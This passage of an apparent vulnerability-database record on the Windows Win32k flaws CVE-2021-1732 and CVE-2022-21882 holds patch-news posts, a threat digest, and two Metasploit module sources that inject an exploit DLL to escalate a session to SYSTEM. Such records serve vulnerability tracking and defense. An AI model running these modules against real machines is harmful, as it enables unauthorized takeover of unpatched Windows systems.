understandable since this [#CVE](<https://twitter.com/hashtag/CVE?src=hash&ref_src=twsrc%5Etfw>)-2022-21882 is a bypass of [#CVE](<https://twitter.com/hashtag/CVE?src=hash&ref_src=twsrc%5Etfw>)-2021-1732. \nGeneric [#LPE](<https://twitter.com/hashtag/LPE?src=hash&ref_src=twsrc%5Etfw>) detection [#KQL](<https://twitter.com/hashtag/KQL?src=hash&ref_src=twsrc%5Etfw>) query works in this case too.[#BlueTeam](<https://twitter.com/hashtag/BlueTeam?src=hash&ref_src=twsrc%5Etfw>) [#ThreatHunting](<https://twitter.com/hashtag/ThreatHunting?src=hash&ref_src=twsrc%5Etfw>)<https://t.co/01El9wPjk0> \n/1 <https://t.co/vM2apKJsI6>\n> \n> -- Bhabesh (@bh4b3sh) [January 29, 2022](<https://twitter.com/bh4b3sh/status/1487449316117516288?ref_src=twsrc%5Etfw>)\n\n## Is there any reason to wait for February\u2019s Patch Tuesday?\n\nIf you\u2019re one of the hold-outs who ran into errors last time around, waiting isn\u2019t advisable. Microsoft already issued an [OOB (out of band) update](<https://www.theverge.com/2022/1/18/22889670/microsoft-windows-server-update-vpn-refs-domain-patch>) to address the multiple errors caused by the January patch. As per Microsoft\u2019s January 17th [notification about the release](<https://docs.microsoft.com/en-us/windows/release-health/windows-message-center#2777>):\n\n> "Microsoft is releasing Out-of-band (OOB) updates today, January 17, 2022, for some versions of Windows. This update addresses issues related to VPN connectivity, Windows Server Domain Controllers restarting, Virtual Machines start failures, and ReFS-formatted removable media failing to mount."\n\nThings being what they are, it\u2019s likely time to get in there and apply the OOB update (if you haven\u2019t already) and put this one to rest.\n\nMicrosoft is putting a fair bit of work into figuring out where weak points lie in the patching process, making use of its Update Connectivity data. The [current estimate](<https://techcommunity.microsoft.com/t5/windows-it-pro-blog/achieve-better-patch-compliance-with-update-connectivity-data/ba-p/3073356>) is a device needs a minimum of two continuous connected hours, and six total connected hours after an update is released to reliably make it through the updating process.\n\nIf this sounds like your network, and if you\u2019re still waiting to take the plunge, you\u2019ve hopefully got little to lose by making that big update splash as soon as you possibly can.\n\nThe post [Apply those updates now: CVE bypass offers up admin privileges for Windows 10](<https://blog.malwarebytes.com/malwarebytes-news/2022/02/apply-those-updates-now-cve-bypass-offers-up-admin-privileges-for-windows-10/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2022-02-01T11:07:29", "type": "malwarebytes", "title": "Apply those updates now: CVE bypass offers up admin privileges for Windows 10", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-02-01T11:07:29", "id": "MALWAREBYTES:6A30A2B661E06D2D7D26479F27BB0EF3", "href": "https://blog.malwarebytes.com/malwarebytes-news/2022/02/apply-those-updates-now-cve-bypass-offers-up-admin-privileges-for-windows-10/", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-02-13T13:09:08", "description": "Traditionally the second Tuesday of the month is Microsoft\u2019s \u201cpatch Tuesday\u201d. This is the day when they roll out all the available patches for their software, and their operating systems in particular.\n\nSince there were no less than 56 patches in this month\u2019s issue we will focus on the most important ones. Not that 56 is an awful lot. There were [more than 80 in January](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/01/microsoft-issues-83-patches-one-for-actively-exploited-vulnerability/>).\n\n### Microsoft CVEs by importance\n\nPublicly disclosed computer security flaws are listed in the Common Vulnerabilities and Exposures (CVE) database. Its goal is to make it easier to share data across separate vulnerability capabilities (tools, databases, and services). The most notable CVE\u2019s in this update were:\n\n * [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1732>) Windows Win32k elevation of privilege (EoP) vulnerability. This one we listed first as it\u2019s actively exploited in the wild. With a EoP vulnerability attackers can raise their authorization permissions beyond those initially granted. For example, if an attacker gains access to a system but only has read-only permissions they can use an EoP vulnerability to raise them to \u201cread and write\u201d, giving them an option to make unwanted changes.\n * [CVE-2021-26701](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-26701>) a .NET Core Remote Code Execution (RCE) vulnerability. A remote code execution (RCE) attack happens when a threat actor illegally accesses and manipulates a computer or server without authorization from its owner. This is the only critical bug Microsoft listed as publicly known.\n * [CVE-2021-24074](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24074>) an IPv4 security vulnerability concerning source routing behavior. Microsoft adds to say: IPv4 Source routing is considered insecure and is blocked by default in Windows; however, a system will process the request and return an ICMP message denying the request.\n * [CVE-2021-24094](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24094>) an IPv6 security vulnerability concerning the reassembly limit and related to the previous one. The reassembly limit controls the IP fragmentation, which is an Internet Protocol (IP) process that breaks packets into smaller fragments, so that the resulting pieces can pass through a link with a smaller maximum transmission unit (MTU) than the original packet size. The fragments are reassembled by the receiving host. Apparently an attacker could construe packets leading to a situation where a large number of fragments could lead to code execution.\n * [CVE-2021-1721](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1721>) a .NET Core and Visual Studio Denial of Service vulnerability. A Denial of Service attack is focused on making a resource (site, application, server) unavailable for the purpose it was designed.\n * [CVE-2021-1722](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-1722>) and [CVE-2021-24077](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2021-24077>) are both Windows Fax Service RCE problems. It's important to remember that even if you don\u2019t use \u201cWindows Fax and Scan\u201d, the Windows Fax Services is enabled by default.\n * [CVE-2021-1733](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1733>) is for Sysinternals\u2019 PsExec Elevation of Privilege vulnerability. While this one is listed as not likely to be exploited, the tool itself is worth keeping an eye on, because it's so popular with cybercriminals. They like it because, as a legitimate administration tool, it isn't normally detected as malicious software by default.\n\nIf you are all about prioritizing your updates, these are the ones that we recommend doing first. Everyone else is advised to install the updates at their earliest convenience.\n\nOne other notable thing is the default enabling of the Domain Controller enforcement mode. This was done to counter the effects of the ZeroLogon vulnerability which is being exploited in the wild. We already covered the full story of [ZeroLogon](<https://blog.malwarebytes.com/exploits-and-vulnerabilities/2021/01/the-story-of-zerologon/>) where this change was announced.\n\n### Adobe Reader for a change\n\nAnd while you are about to start your update cycles, you may want to have a look at this one from Adobe. Because this one is already actively being exploited as well. Where Adobe was notoriously famous for the bugs in their Flash Player, which has now reached [end-of-life](<https://blog.malwarebytes.com/awareness/2021/01/adobe-flash-player-reaches-end-of-life/>), occasionally a vulnerability in their Reader attracts some attention.\n\n[CVE-2021-21017](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=2021-21017>) is a critical heap-based buffer overflow flaw. Heap is the name for a region of a process\u2019 memory which is used to store dynamic variables. A buffer overflow is a type of software vulnerability that exists when an area of memory within a software application reaches its address boundary and writes into an adjacent memory region. In software exploit code, two common areas that are targeted for overflows are the stack and the heap.\n\nSo, by creating a specially crafted input, attackers could use this vulnerability to write code into a memory location where they normally wouldn\u2019t have access. In their advisory Adobe states that it has received a report that CVE-2021-21017 has been exploited in the wild in limited attacks targeting Adobe Reader users on Windows.\n\nBoth Adobe Acrobat and Adobe Reader will automatically detect if a new version of the software is available. The program will check for a new version when you launch either Acrobat or Reader as an application and will prompt you to install a new version when it's available. IT administrators can control the update settings by using the [Adobe Customization Wizard](<https://www.adobe.com/nl/devnet-docs/acrobatetk/tools/Wizard/WizardDC/index.html>).\n\nStay safe, everyone!\n\nThe post [Big Patch Tuesday: Microsoft and Adobe fix in-the-wild exploits](<https://blog.malwarebytes.com/malwarebytes-news/2021/02/big-patch-tuesday-microsoft-and-adobe-fix-in-the-wild-exploits/>) appeared first on [Malwarebytes Labs](<https://blog.malwarebytes.com>).", "edition": 2, "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-02-10T17:26:33", "type": "malwarebytes", "title": "Big Patch Tuesday: Microsoft and Adobe fix in-the-wild exploits", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-1721", "CVE-2021-1722", "CVE-2021-1732", "CVE-2021-1733", "CVE-2021-21017", "CVE-2021-24074", "CVE-2021-24077", "CVE-2021-24094", "CVE-2021-26701"], "modified": "2021-02-10T17:26:33", "id": "MALWAREBYTES:3C358DDA439A247A9677866AFE8FA961", "href": "https://blog.malwarebytes.com/malwarebytes-news/2021/02/big-patch-tuesday-microsoft-and-adobe-fix-in-the-wild-exploits/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "packetstorm": [{"lastseen": "2021-03-19T17:08:44", "description": "", "cvss3": {}, "published": "2021-03-19T00:00:00", "type": "packetstorm", "title": "Win32k ConsoleControl Offset Confusion", "bulletinFamily": "exploit", "cvss2": {}, "cvelist": ["CVE-2016-7255", "CVE-2021-1732"], "modified": "2021-03-19T00:00:00", "id": "PACKETSTORM:161880", "href": "https://packetstormsecurity.com/files/161880/Win32k-ConsoleControl-Offset-Confusion.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = GoodRanking \n \ninclude Msf::Post::File \ninclude Msf::Post::Windows::Priv \ninclude Msf::Post::Windows::Process \ninclude Msf::Post::Windows::ReflectiveDLLInjection \nprepend Msf::Exploit::Remote::AutoCheck \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n{ \n'Name' => 'Win32k ConsoleControl Offset Confusion', \n'Description' => %q{ \nA vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of \nNT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being \ntreated as an offset despite being populated by an attacker-controlled value. This can be leveraged to \nachieve an out of bounds write operation, eventually leading to privilege escalation. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n'BITTER APT', # exploit as used in the wild \n'JinQuan', # detailed analysis \n'MaDongZe', # detailed analysis \n'TuXiaoYi', # detailed analysis \n'LiHao', # detailed analysis \n'KaLendsi', # github poc targeting v1909 \n'Spencer McIntyre' # metasploit module \n], \n'Arch' => [ ARCH_X64 ], \n'Platform' => 'win', \n'SessionTypes' => [ 'meterpreter' ], \n'DefaultOptions' => \n{ \n'EXITFUNC' => 'thread' \n}, \n'Targets' => \n[ \n[ 'Windows 10 v1803-20H2 x64', { 'Arch' => ARCH_X64 } ] \n], \n'Payload' => \n{ \n'DisableNops' => true \n}, \n'References' => \n[ \n[ 'CVE', '2021-1732' ], \n[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ], \n[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ], \n[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ], \n[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ], \n# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit \n[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ], \n[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ], \n[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ], \n[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ] \n], \n'DisclosureDate' => '2021-02-10', \n'DefaultTarget' => 0, \n'Notes' => \n{ \n'Stability' => [ CRASH_OS_RESTARTS, ], \n'Reliability' => [ REPEATABLE_SESSION, ] \n} \n} \n) \n) \nend \n \ndef check \nsysinfo_value = sysinfo['OS'] \n \nif sysinfo_value !~ /windows/i \n# Non-Windows systems are definitely not affected. \nreturn Exploit::CheckCode::Safe \nend \n \nbuild_num = sysinfo_value.match(/\\w+\\d+\\w+(\\d+)/)[0].to_i \nvprint_status(\"Windows Build Number = #{build_num}\") \n# see https://docs.microsoft.com/en-us/windows/release-information/ \nunless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19042) \nprint_error('The exploit only supports Windows 10 versions 1803 - 20H2') \nreturn CheckCode::Safe \nend \n \nCheckCode::Appears \nend \n \ndef exploit \nif is_system? \nfail_with(Failure::None, 'Session is already elevated') \nend \n \nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 \nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported') \nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 \nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') \nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 \nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') \nend \n \nencoded_payload = payload.encoded \nexecute_dll( \n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2021-1732', 'CVE-2021-1732.x64.dll'), \n[encoded_payload.length].pack('I<') + encoded_payload \n) \n \nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/161880/cve_2021_1732_win32k.rb.txt"}, {"lastseen": "2022-02-28T16:54:53", "description": "", "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2022-02-28T00:00:00", "type": "packetstorm", "title": "Win32k ConsoleControl Offset Confusion / Privilege Escalation", "bulletinFamily": "exploit", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2016-7255", "CVE-2021-1732", "CVE-2022-21882"], "modified": "2022-02-28T00:00:00", "id": "PACKETSTORM:166169", "href": "https://packetstormsecurity.com/files/166169/Win32k-ConsoleControl-Offset-Confusion-Privilege-Escalation.html", "sourceData": "`## \n# This module requires Metasploit: https://metasploit.com/download \n# Current source: https://github.com/rapid7/metasploit-framework \n## \n \nclass MetasploitModule < Msf::Exploit::Local \nRank = AverageRanking \n \ninclude Msf::Post::File \ninclude Msf::Post::Windows::Priv \ninclude Msf::Post::Windows::Process \ninclude Msf::Post::Windows::ReflectiveDLLInjection \nprepend Msf::Exploit::Remote::AutoCheck \n \ninclude Msf::Exploit::Deprecated \nmoved_from 'exploit/windows/local/cve_2021_1732_win32k' \n \ndef initialize(info = {}) \nsuper( \nupdate_info( \ninfo, \n{ \n'Name' => 'Win32k ConsoleControl Offset Confusion', \n'Description' => %q{ \nA vulnerability exists within win32k that can be leveraged by an attacker to escalate privileges to those of \nNT AUTHORITY\\SYSTEM. The flaw exists in how the WndExtra field of a window can be manipulated into being \ntreated as an offset despite being populated by an attacker-controlled value. This can be leveraged to \nachieve an out of bounds write operation, eventually leading to privilege escalation. \n \nThis flaw was originally identified as CVE-2021-1732 and was patched by Microsoft on February 9th, 2021. \nIn early 2022, a technique to bypass the patch was identified and assigned CVE-2022-21882. The root cause is \nis the same for both vulnerabilities. This exploit combines the patch bypass with the original exploit to \nfunction on a wider range of Windows 10 targets. \n}, \n'License' => MSF_LICENSE, \n'Author' => [ \n# CVE-2021-1732 \n'BITTER APT', # exploit as used in the wild \n'JinQuan', # detailed analysis \n'MaDongZe', # detailed analysis \n'TuXiaoYi', # detailed analysis \n'LiHao', # detailed analysis \n# CVE-2022-21882 \n'L4ys', # github poc \n# both CVEs \n'KaLendsi', # github pocs \n# Metasploit exploit \n'Spencer McIntyre' # metasploit module \n], \n'Arch' => [ ARCH_X64 ], \n'Platform' => 'win', \n'SessionTypes' => [ 'meterpreter' ], \n'DefaultOptions' => { \n'EXITFUNC' => 'thread' \n}, \n'Targets' => [ \n[ 'Windows 10 v1803-21H2 x64', { 'Arch' => ARCH_X64 } ] \n], \n'Payload' => { \n'DisableNops' => true \n}, \n'References' => [ \n# CVE-2021-1732 references \n[ 'CVE', '2021-1732' ], \n[ 'URL', 'https://ti.dbappsecurity.com.cn/blog/index.php/2021/02/10/windows-kernel-zero-day-exploit-is-used-by-bitter-apt-in-targeted-attack/' ], \n[ 'URL', 'https://github.com/KaLendsi/CVE-2021-1732-Exploit' ], \n[ 'URL', 'https://attackerkb.com/assessments/1a332300-7ded-419b-b717-9bf03ca2a14e' ], \n[ 'URL', 'https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-1732' ], \n# the rest are not cve-2021-1732 specific but are on topic regarding the techniques used within the exploit \n[ 'URL', 'https://www.fuzzysecurity.com/tutorials/expDev/22.html' ], \n[ 'URL', 'https://www.geoffchappell.com/studies/windows/win32/user32/structs/wnd/index.htm' ], \n[ 'URL', 'https://byteraptors.github.io/windows/exploitation/2020/06/03/exploitingcve2019-1458.html' ], \n[ 'URL', 'https://www.trendmicro.com/en_us/research/16/l/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild.html' ], \n# CVE-2022-21882 references \n[ 'CVE', '2022-21882' ], \n[ 'URL', 'https://github.com/L4ys/CVE-2022-21882' ], \n[ 'URL', 'https://github.com/KaLendsi/CVE-2022-21882' ] \n], \n'DisclosureDate' => '2021-02-09', # CVE-2021-1732 disclosure date \n'DefaultTarget' => 0, \n'Notes' => { \n'Stability' => [ CRASH_OS_RESTARTS, ], \n'Reliability' => [ REPEATABLE_SESSION, ], \n'SideEffects' => [] \n} \n} \n) \n) \nend \n \ndef check \nsysinfo_value = sysinfo['OS'] \n \nif sysinfo_value !~ /windows/i \n# Non-Windows systems are definitely not affected. \nreturn Exploit::CheckCode::Safe \nend \n \nbuild_num = sysinfo_value.match(/\\w+\\d+\\w+(\\d+)/)[0].to_i \nvprint_status(\"Windows Build Number = #{build_num}\") \n \nunless sysinfo_value =~ /10/ && (build_num >= 17134 && build_num <= 19044) \nprint_error('The exploit only supports Windows 10 versions 1803 - 21H2') \nreturn CheckCode::Safe \nend \n \nCheckCode::Appears \nend \n \ndef exploit \nif is_system? \nfail_with(Failure::None, 'Session is already elevated') \nend \n \nif sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86 \nfail_with(Failure::NoTarget, 'Running against WOW64 is not supported') \nelsif sysinfo['Architecture'] == ARCH_X64 && target.arch.first == ARCH_X86 \nfail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') \nelsif sysinfo['Architecture'] == ARCH_X86 && target.arch.first == ARCH_X64 \nfail_with(Failure::NoTarget, 'Session host is x86, but the target is specified as x64') \nend \n \nencoded_payload = payload.encoded \nexecute_dll( \n::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2022-21882', 'CVE-2022-21882.x64.dll'), \n[encoded_payload.length].pack('I<') + encoded_payload \n) \n \nprint_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') \nend \nend \n`\n", "cvss": {"score": 7.2, "vector": "AV:L/AC:L/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://packetstormsecurity.com/files/download/166169/cve_2022_21882_win32k.rb.txt"}], "hivepro": [{"lastseen": "2022-08-17T04:36:00", "description": "Published Vulnerabilities Interesting Vulnerabilities Active Threat Groups Targeted Countries Targeted Industries ATT&CK TTPs 563 14 3 69 08 71 For a detailed threat digest, download the pdf file here Summary The second week of August 2022 witnessed the discovery of 563 vulnerabilities out of which 14 gained the attention of Threat Actors and security researchers worldwide. Among these 14, 2 zero-day, and 10 vulnerabilities are awaiting analysis on the National Vulnerability Database (NVD). Hive Pro Threat Research Team has curated a list of 14 CVEs that require immediate action. This week also saw Cuba Ransomware exploiting CVE-2020-1472 and CVE-2021-1732 and another vulnerability CVE-2020-0796 was seen exploited by BlueSky Ransomware. Further, we also observed 3 Threat Actor groups being highly active in the last week. UNC2447, an unknown threat actor group popular for financial crime and gain, Lapsus$, a Brazilian threat actor group popular for Data theft and Destruction, and Yanluowang ransomware gang, a Chinese threat actor group popular for financial crime and gain were observed stealing around 2.8 GB of data from Cisco. Common TTPs which could potentially be exploited by these threat actors or CVEs can be found in the detailed section.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-08-16T05:00:49", "type": "hivepro", "title": "Vulnerabilities & Threats that Matter 08 \u2013 14th Aug", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0796", "CVE-2020-1472", "CVE-2021-1732"], "modified": "2022-08-16T05:00:49", "id": "HIVEPRO:B3F9F66CBDECF3B8E7AADF5951D97F6A", "href": "https://www.hivepro.com/vulnerabilities-threats-that-matter-08-14th-aug/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}], "krebs": [{"lastseen": "2019-03-13T12:58:49", "description": "**Microsoft** on Tuesday pushed out software updates to fix more than five dozen security vulnerabilities in its **Windows** operating systems, **Internet Explorer**, **Edge**, **Office** and **Sharepoint**. If you (ab)use Microsoft products, it's time once again to start thinking about getting your patches on. Malware or bad guys can remotely exploit roughly one-quarter of the flaws fixed in today's patch batch without any help from users.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2014/07/brokenwindows.png)One interesting patch from Microsoft this week comes in response to a [zero-day](<https://en.wikipedia.org/wiki/Zero-day_\$computing\$>) vulnerability ([CVE-2019-0797](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0797>)) reported by researchers at **Kaspersky Lab, **who discovered the bug could be (and is being) exploited to install malicious software.\n\nMicrosoft also addressed a zero day flaw ([CVE-2019-0808](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0808>)) in Windows 7 and Windows Server 2008 that's been abused in conjunction with a previously unknown weakness (CVE-2019-5786) in Google's Chrome browser. A [security alert](<https://security.googleblog.com/2019/03/disclosing-vulnerabilities-to-protect.html>) from Google last week said attackers were chaining the Windows and Chrome vulnerabilities to drop malicious code onto vulnerable systems.\n\nIf you use Chrome, take a moment to make sure you have this update and that there isn't an arrow to the right of your Chrome address bar signifying the availability of new update. If there is, close out and restart the browser; it should restore whatever windows you have open on restart.\n\nThis is the third month in a row Microsoft has released patches to fix high-severity, critical flaws in the Windows component responsible for assigning Internet addresses to host computers (a.k.a. \u201cWindows DHCP client\u201d).\n\nThese are severe \"receive a bad packet of data and get owned\" type vulnerabilities. But **Allan Liska**, senior solutions architect at security firm Recorded Future, says DHCP vulnerabilities are often difficult to take advantage of, and the access needed to do so generally means there are easier ways to deploy malware.\n\nThe bulk of the remaining critical bugs fixed this month reside in Internet Explorer, Edge and Office. All told, not the craziest Patch Tuesday. Even Adobe's given us a month off (or at least a week) patching critical Flash Player bugs: The Flash player update shipped this week includes non-security updates.\n\nStaying up-to-date on Windows patches is good. Updating only after you've backed up your important data and files is even better. A good backup means you're not pulling your hair out if the odd buggy patch causes problems booting the system.\n\n**Windows 10** likes to install patches all in one go and reboot your computer on its own schedule. Microsoft doesn\u2019t make it easy for Windows 10 users to change this setting, [but it is possible](<https://www.howtogeek.com/224471/how-to-prevent-windows-10-from-automatically-downloading-updates/>). For all other Windows OS users, if you\u2019d rather be alerted to new updates when they\u2019re available so you can choose when to install them, there\u2019s a setting for that in **Windows Update**.\n\nAs always, if you experience any problems installing any of these patches this month, please feel free to leave a comment about it below; there\u2019s a good chance other readers have experienced the same and may even chime in here with some helpful tips.\n\nFurther reading:\n\n[Qualys](<https://blog.qualys.com/laws-of-vulnerabilities/2019/03/12/march-2019-patch-tuesday-65-vulns-18-critical-rces-in-dhcp-client-adobe-vulns>)\n\n[SANS Internet Storm Center](<https://isc.sans.edu/forums/diary/Microsoft+March+2019+Patch+Tuesday/24742/>)\n\n[Ask Woody](<https://www.askwoody.com/2019/march-2019-patch-tuesday-patches/>)\n\n[ZDNet](<https://www.zdnet.com/article/microsoft-march-patch-tuesday-comes-with-fixes-for-two-windows-zero-days/>)", "edition": 2, "cvss3": {"exploitabilityScore": 1.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "LOCAL", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 7.8, "privilegesRequired": "LOW", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.0"}, "impactScore": 5.9}, "published": "2019-03-13T04:55:28", "type": "krebs", "title": "Patch Tuesday, March 2019 Edition", "bulletinFamily": "blog", "cvss2": {"severity": "HIGH", "exploitabilityScore": 3.9, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 7.2, "vectorString": "AV:L/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "LOCAL", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-0797", "CVE-2019-0808", "CVE-2019-5786"], "modified": "2019-03-13T04:55:28", "id": "KREBS:8CCFB0DC3A6FAC8000722BE0DCBA640E", "href": "https://krebsonsecurity.com/2019/03/patch-tuesday-march-2019-edition/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-02-10T00:29:38", "description": "**Microsoft** today rolled out updates to plug at least 56 security holes in its **Windows** operating systems and other software. One of the bugs is already being actively exploited, and six of them were publicized prior to today, potentially giving attackers a head start in figuring out how to exploit the flaws.\n\n![](https://krebsonsecurity.com/wp-content/uploads/2020/08/windowsec.png)\n\nNine of the 56 vulnerabilities earned Microsoft's most urgent "critical" rating, meaning malware or miscreants could use them to seize remote control over unpatched systems with little or no help from users.\n\nThe flaw being exploited in the wild already -- [CVE-2021-1732](<https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1732>) -- affects Windows 10, Server 2016 and later editions. It received a slightly less dire "important" rating and mainly because it is a vulnerability that lets an attacker increase their authority and control on a device, which means the attacker needs to already have access to the target system.\n\nTwo of the other bugs that were disclosed prior to this week are critical and reside in 